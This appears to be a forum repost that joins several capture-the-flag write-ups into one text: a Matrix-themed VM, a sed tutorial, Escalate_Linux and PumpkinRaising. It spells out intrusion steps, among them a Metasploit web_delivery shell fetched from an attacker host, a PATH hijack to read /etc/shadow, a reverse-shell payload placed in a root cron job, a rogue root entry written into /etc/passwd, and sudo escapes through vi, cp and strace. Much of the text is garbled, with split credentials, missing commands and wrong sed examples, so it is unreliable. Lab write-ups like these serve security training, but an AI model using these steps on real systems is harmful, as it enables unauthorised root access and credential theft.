You can download this VM here.
Security Level: Intermediate
Penetrating Methodology:
- Scanning
- Netdiscover
- NMAP
- Enumeration
- Web Directory Search
- Exploitation
- Ghidra
- SSH
- Privilege Escalation
- Exploiting Sudo rights
Scanning:
Then we used Nmap for port enumeration. We found that port 80 is open, SSH is running on port 6464 and port 7331 is open on the target machine.[img=771x541]https://i2.wp.com/1.bp.blogspot.com...jBiasGiQCLcBGAs/s1600/2.png?w=687&ssl=1[/img]
Enumeration:
So we used dirb for directory enumeration.
[size=small]dirb http://192.168.1.104
1
dirb http://192.168.1.104[/size]
After brute-forcing with dirb, we found a directory named /assets
We opened the assets directory in the browser and found an image file named Matrix_can-show-you-the-door.png under /assets/img/ URL.
So we used Matrix in the URL as shown in the image below and it worked for us.
From the contents of the directory Matrix, we understood that we have to make a right combination of the alphanumeric to go ahead.
So after trying multiple combinations we used our little brain more aggressively and made a combination of is the name of the actor in the Matrix movie and 64 number is I guess favourite number of the creator of this VM because he is using it everywhere.
We downloaded the file secret.gz txt file and is containing the username and password.
[size=small]file secret.gz
cat secret.gz
1
2
file secret.gz
cat secret.gz[/size]
Upon cracking the hashed password using online tool hashkiller, we found the password as passwd.
If you remember from the nmap scan we have a port 7331 open and it was protected with Basic Authentication.
So we tried to open the URL http://192.168.1.104:7331admin
asswd as username and password and were able to login successfully.
dirb with an already obtained username and password for directory bruteforcing.
After bruteforcing, we found a directory named data.
[size=small]dirb http://192.168.1.104:7331 / -u admin
asswd1
dirb http://192.168.1.104:7331 / -u admin
asswd[/size]
In the data directory, we found a file name data which came out to be a DOS file.
Exploitation:
We took the help of our best friend in need Google to know how to open a DOS file. And after some research, we found a tool named Ghidra for opening a DOS file.
After opening the data file with Ghidra tool we found a username and password guest:7R1n17yN30
As we already know from our nmap scan that there is SSH running on port 6464 on the target machine, so we tried to ssh the target machine with the above-found username and password and were successfully able to login.But we were provided with the restricted bash (rbash) shell, so we used option to run ssh with noprofile extension and we got a complete shell of the guest user.
Checking the sudo permissions for the guest user we came to know that this user can run /bin/cp with permissions of another user trinity.
Privilege Escalation
id_rsa.pub file so that we would be able to copy it to our target location.
[size=small]ssh-keygen
cd .ssh
chmod 777 id_rsa.pub
1
2
3
ssh-keygen
cd .ssh
chmod 777 id_rsa.pub[/size]
And then we took the advantage of sudo permission to copy the id_rsa.pub file in the /home/trinity/.ssh/authorized_keys folder. Now we can access ssh of the target machine with trinity user using the id_rsa key.
Checking the sudo permission for trinity it can execute oracle file with root permissions.
[size=small]cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l
1
2
3
4
5
cp id_rsa.pub /home/guest
cd ..
sudo -u trinity /bin/cp ./id_rsa.pub /home/trinity/.ssh/authorized_keys
ssh [email protected] -i /.ssh/id_rsa -p 6464
sudo -l[/size]
But there was no file with the name oracle in the /home/trinity directory, so we created an oracle file with /bin/sh in it using the echo command. In the end, we executed the oracle file with sudo command, we got the root shell.
And once you have the root shell you can easily get the flag.
[size=small]echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt
1
2
3
4
5
6
echo "/bin/sh" > oracle
chmod 777 oracle
sudo ./oracle
id
ls
cat flag.txt[/size]
This article will take our readers through all about Stream Editor (Sed), which is one of the most prominent text-processing services on GNU/Linux. In this article, we came with the brief introductory guide to sed which supports the main concern that how sed works and how we can accomplish its supplementary practice in the operation of Privilege Escalation.
Table of Content
- Summary to sed
- Chief Action achieved using sed
- Replacement with the sed command
- Printing and viewing from sed command
- Deleting lines with sed
- SUDO Lab setups for privilege Escalation
- Exploiting SUDO
SED commandinsertion, deletion, search
Note:.
[size=small]sed --help
1
sed --help[/size]
- Replacement with the sed command
[size=small]nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt
1
2
3
nano Ignite.txt
cat Ignite.txt
sed 's/Ignite/Egnyte/' Ignite.txt[/size]
IgniteEgnyte
1.2 Substituting the nth existence in a line: When we want to replace nth occurrence i.e. first, second and so on the existence of a pattern in a line then we will use the /1, /2 etc flags to mention the nth term.
[size=small]sed 's/Ignite/Egnyte/2' Ignite.txt
1
sed 's/Ignite/Egnyte/2' Ignite.txt[/size]
1.3 Substituting all the existence at a time:
[size=small]sed 's/Ignite/Egnyte/g' Ignite.txt
1
sed 's/Ignite/Egnyte/g' Ignite.txt[/size]
1.4 Substituting from nth occurrence to all existences:
[size=small]sed 's/Ignite/Egnyte/3g' Ignite.txt
1
sed 's/Ignite/Egnyte/3g' Ignite.txt[/size]
On framing the above command it will replace all the patterns from the nth occurrence globally.
Note:
1.5 Substituting the existence for a particular range: We can limit the sed command to replace the string for a particular range. This can be achieved by framing command as shown below.
Note:
- Printing and viewing from sed command:
2.3 Printing lines by numbering it:On drawing the above command sed will print the output by numbering each line as per user request.
2.4 Display a file from x to y range: If we want to view a file from an instance i.e. for a range of starting index to end index then we write command as:
[size=small]sed -n '2,4p' Ignite.txt
1
sed -n '2,4p' Ignite.txt[/size]
2.5 Print nth line of the file: Inplace of fixing end index you can also leave it blank if you wish to print only a specific line.
[size=small]sed -n '4'p Ignite.txt
1
sed -n '4'p Ignite.txt[/size]
As in below screenshot, you can see when I have used above-mentioned command then sed has reflected the output only to print for the 4th line.
2.6 Print from nth line to end of file: To print any file from its nth line to the last (end of file) line then frame command as below:
[size=small]sed -n '4,$'p Ignite.txt
1
sed -n '4,$'p Ignite.txt[/size]
2.7 Print the line only for pattern matching: If we want to print only those lines which match the given pattern then, in this case, we will draw command as:
[size=small]sed -n /training/p Ignite.txt
1
sed -n /training/p Ignite.txt[/size]
2.8 Print lines which matches the pattern nth line
[size=small]sed -n '/cyber/,3p' Ignite.txt
1
sed -n '/cyber/,3p' Ignite.txt[/size]
3 Deleting lines with sed: Now we check how we can delete the lines from a file by the help of sed.
3.1 Remove a specific line
[size=small]sed '3d' Ignite.txt
1
sed '3d' Ignite.txt[/size]
3.2 Remove line for a range
[size=small]sed '3,5d' Ignite.txt
1
sed '3,5d' Ignite.txt[/size]
3.3 Remove from nth to last line
[size=small]sed '2,$d' Ignite.txt
1
sed '2,$d' Ignite.txt[/size]
3.4 Remove the last line
[size=small]sed '2d' Ignite.txt
1
sed '2d' Ignite.txt[/size]
3.5 Remove the pattern matching line: Sometimes we not only want to print or view those lines that match the particular pattern but also desire to delete them so in such case we will frame below command to attain output as per user request.
[size=small]sed '/training/d' Ignite.txt
1
sed '/training/d' Ignite.txt[/size]
Abusing sed
Sudo Rights Lab setups for Privilege Escalation
Now we will start our mission of privilege escalation. To grab this first, we have to set up our lab of sed command with administrative rights. After that, we will check for the sed command that what impact it has after getting sudo rights and how we can use it more for privilege escalation.
It can be clearly understood by the below image in which I have created a local user (test) who own all sudo rights as root and can achieve all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
[size=small]test All=(root) NOPASSWD: /usr/bin/sed
1
test All=(root) NOPASSWD: /usr/bin/sed[/size]
Exploiting Sudo rights
So now we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
[size=small]ssh [email protected]
1
ssh [email protected][/size]
[size=small]sudo -l
1
sudo -l[/size]
Now we will access our /etc/passwd file by the help sed command to escalate or maintain access with elevated privileges.
Conclusion:
Reference link: https://gtfobins.github.io
https://www.vulnhub.com/entry/escalate_linux-1,323/
NOTE: In this article, we have exploited the machine with six different methods.
Security Level: Beginner-Intermediate
Penetrating Methodology:
Scanning
- Netdiscover
- Nmap
- Web Directory Search
- Metasploit shell upload
- LinEnum.sh
- Method 1: Get root shell by exploiting suid rights of the shell file
- Method 2: Get a root shell by cracking the root password
- Method 3: Get root shell by exploiting sudo rights of user1
- Method 4: Get root shell by exploiting crontab
- Method 5: Exploiting Sudo rights of vi editor
- Method 6: Exploiting writable permission of /etc/passwd file
Scanning:
[size=small]nmap -A 192.168.0.17
1
nmap -A 192.168.0.17[/size]
Enumeration:
As we can see port 80 is open, so we tried to open the IP address in our browser and got nothing but the default Apache webpage.
So we used dirb with .php filter for directory enumeration.After brute-forcing with dirb, we found a URL named http://192.168.0.17/shell.php
Now we opened the URL in our browser and found that it accepts cmd as get parameter.
So, we passed the id command in the URL and found the results are reflected in the response.
Exploiting
Since the target machine is vulnerable to command injection, we created a web delivery shell using Metasploit.
[size=small]use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit
1
2
3
4
use exploit/multi/script/web_delivery
set srvhost 192.168.0.12
set lhost 192.168.0.12
exploit[/size]
The target host was not able to run the script directly, so we used URL encoding.
After encoding the script, we were successfully able to run it on the target machine and get the meterpreter session.
We got the bash shell of User6 after using python one-liner shell command.
To further enumerate the target host, we uploaded LinEnum tool on the target host.
[size=small]upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh
1
2
3
4
5
upload /root/LinEnum.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 LinEnum.sh
./LinEnum.sh[/size]
From the results of LinEnum scan, we found that the target host has eight users namely user1, user2 up to user8.
We also found that in crontab, a file named autoscript.sh is being run every 5 minutes with root privileges.
From the same LinEnum scan, we came to know that /etc/passwd is writable for users also. Also, we found that we can run shell and script files with root privileges because SUID bit is enabled on it.
Privilege Escalation:
As mentioned above there are multiple ways to do the privilege escalation of this machine.
We will try to do as many methods as possible.
Method 1: Get root shell by exploiting SUID rights of the shell file
Using the find command we can confirm that the shell file located in the home directory of user3 can be executed with root privileges.
We tried to execute the same file and got the root shell.
[size=small]find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell
1
2
3
find / -perm -u=s -type f 2>/dev/null
cd /home/user3
./shell[/size]
Method 2: Get a root shell by cracking the root password
From the above screenshot, we know that the script file located in the user5 home directory can be executed with root privileges. Using the Path variable exploitation methodology we can access the /etc/shadow file.
To know more about path variable privilege escalation use this link: https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
[size=small]cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script
1
2
3
4
5
6
cd /tmp
echo "cat /etc/shadow" > ps
chmod 777 ps
export PATH=/tmp:$PATH
cd /home/user5
./script[/size]
We copied the hashed password of root user in the hash file and used John The Ripper tool to crack the password. We got the password of the root as 12345 and then using the su command we were able to access as root.
[size=small]john hash
su root
1
2
john hash
su root[/size]
Method 3: Get root shell by exploiting SUDO rights of user1
We already know by now that script file can be executed with root privileges.
Using the same script file we can change the password of all the users with the help of Path variable methodology.
Here we used echo and chpasswd command to replace the existing password with our new password 12345. And then switched to the user1 account using su
So we ran the command sudo su and got the root access.
Method 4: Get root shell by exploiting crontab
In the previous screenshot, we saw there is a task scheduled after every 5 minutes for user4 in the crontab by the name autoscript.sh. We changed the password of user4 the same way as we did for user1 and then switched to user4 with the new password 12345. There we can see a file autoscript.sh in the Desktop folder.
[size=small]su user4
ls -la
1
2
su user4
ls -la[/size]
So what we did is we created a payload using msfvenom and then copied the code into autoscript.sh file using echo.
[size=small]echo "code" > autoscript.sh
1
echo "code" > autoscript.sh[/size]
After copying the code into autoscript.sh file we executed the file and started the netcat listener on our kali machine and waited for the shell.
Yes we got the root shell as the autoscript.sh is executing as root in the crontab.
Method 5: Exploiting SUDO rights of vi editor
We changed the password of all the users to 12345 using the same methodology as above and switched between users to check for more exploits. We found that user8 has a sudo permission for vi editors.
[size=small]su user8
sudo -l
1
2
su user8
sudo -l[/size]
Open the vi editor with sudo and insert sh command as shown in the screenshot below, exit the editor and hurray we got the root shell.
[size=small]:!sh
ids
1
2
:!sh
ids[/size]
And again we will obtain the root shell as shown below in the image.
Method 6: Exploiting writable permission of /etc/passwd file
Continuing with the enumeration of users, we found that user7 is a member of the root group with gid 0.
And we already know from the LinEnum scan that /etc/passwd file is writable for the user. So from this observation, we concluded that user7 can edit the /etc/passwd file.
[size=small]tail /etc/passwd
su user7
id
1
2
3
tail /etc/passwd
su user7
id[/size]
So we copied the contents of /etc/passwd file in our kali machine and created a new user named raj with root privileges for which we generated a password pass123 using openssl.
[size=small]openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123[/size]
As you can observe we have created a new entry inside /etc/passwd for user raj with root privilege.
On the target machine, we downloaded the edited passwd file in the /etc folder using wget command.
Then we tried to switch to our newly created user raj and YES yet again we proudly got the root shell of the machine.
Conclusion: So in this part-1 of Escalate_Linux we did the privilege escalation by six different methodologies. In the part-2 we will try to exploit the machine by some different methods. So keep visiting Hacking Articles for next part.
PumpkinRaising is another CTF challenge from the series of Mission-Pumpkin v1.0 created by keeping beginners in mind and all credit for this VM goes to Jayanth. This level is all about identifying and gain access to root and capture the final Flag.txt file.
You can download it from here: https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinraising,324/
Level: Beginner to Intermediate
Penetrating Methodologies
Scanning
- Nmap
- txt
- Abusing HTTP services
- Ssh Login
- Abusing Sudo right
Scanning
[size=small]nmap -A 192.168.0.11
1
nmap -A 192.168.0.11[/size]
From its scan result, I found port 22 for ssh and 80 for http are available, moreover it gave some hint for /robot.txt file that disallows 23 entities.
Enumeration
So first we navigate to a web browser and explore the VM IP and welcome by following web page. Read the following message:
Jack
Further, I explored /robot.txt file suggested in nmap scan and found some list of interesting directories, files and paths. Apart from all entries, I found a few interesting entries such as: /hidden/notes.txt, /underconstruction.html and /seeds/seed.txt.gpg
The hidden note.txt showed certain data which may be needed to login credentials subsequently.
[size=small]http://192.168.0.11/hidden/notes.txt
Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765
1
2
3
4
http://192.168.0.11/hidden/notes.txt
Robert: C@43r0VqG2=
Mark: Qn@F5zMg4T
goblin: 79675-06172-65206-17765[/size]
when I checked the source code of the homepage and here, I found a link for pumpkin.html
On exploring source code of http://192.168.0.11/pumpkin.html, I found a base32 encoded string.
To identify what is inside the spy.pcap file, I simply downloaded the file in our local machine and used Wireshark to read the network packet.
Here I found the first seed: 50609 from inside the tcp steam as shown in the below image.
Again, we come back to pumkin.html page and I found the decimal string on scrolling same file.
On decoding decimal string, we found one more seed:96454
As you know we have enumerated /robots.txt and from inside that, we found another important file /underconstrution.html as shown below. So, we have explored the source code of the web page and noted hint for an image.
Now, we have explored the below URL and found a picture for pumpkin which I have downloaded in my local machine.
[size=small]http://192.168.0.11/images/jackolantern.gif[/SIZE]
1
http://192.168.0.11/images/jackolantern.gif[/SIZE][/size]
So, when I opened this file, it gave me another PUMP-Ke-Mon Pumpkin seed: 86568
Further, I downloaded the .gpg file as the link /seeds/seed.txt.gpg which was mention in the robot.txt file.
[size=small]wget http://192.168.0.11/seeds.txt.gpg
gpg -d seeds.txt.gpg
1
2
wget http://192.168.0.11/seeds.txt.gpg
gpg -d seeds.txt.gpg
SEEDWATERSUNLIGH which was mentioned in the home page of website in the 2nd image.
On decrypting I obtained following text file as shown below and it was a Morse encoded text which used in telecommunication that encodes text characters as standardized sequences of two different signal durations called dots and dashes.
To decrypt the Morse text I have used cyberchef which is an online decrypting tool. On decrypting the text, I found another BIGMAXPUMPKIN seed 69507
- SEED ID: 50609
- SEED ID: 96454
- SEED ID: 86568
SSH login Password: 69507506099645486568
1
2
ssh [email protected]
SSH login Password: 69507506099645486568
Yuppie!! We got the shell access but for obtaining root flag we need to escalate the privilege from low privilege shell to high. Therefore, I check for sudo rights for user jack and found jack can run strace with sudo rights.
Hmmm! We can abuse the sudo permission set for strace program. Hence type following and obtain the root flag.
[size=small]sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt
1
2
3
4
sudo strace -o/dev/null /bin/bash
cd /root
ls
cat flag.txt[/size]
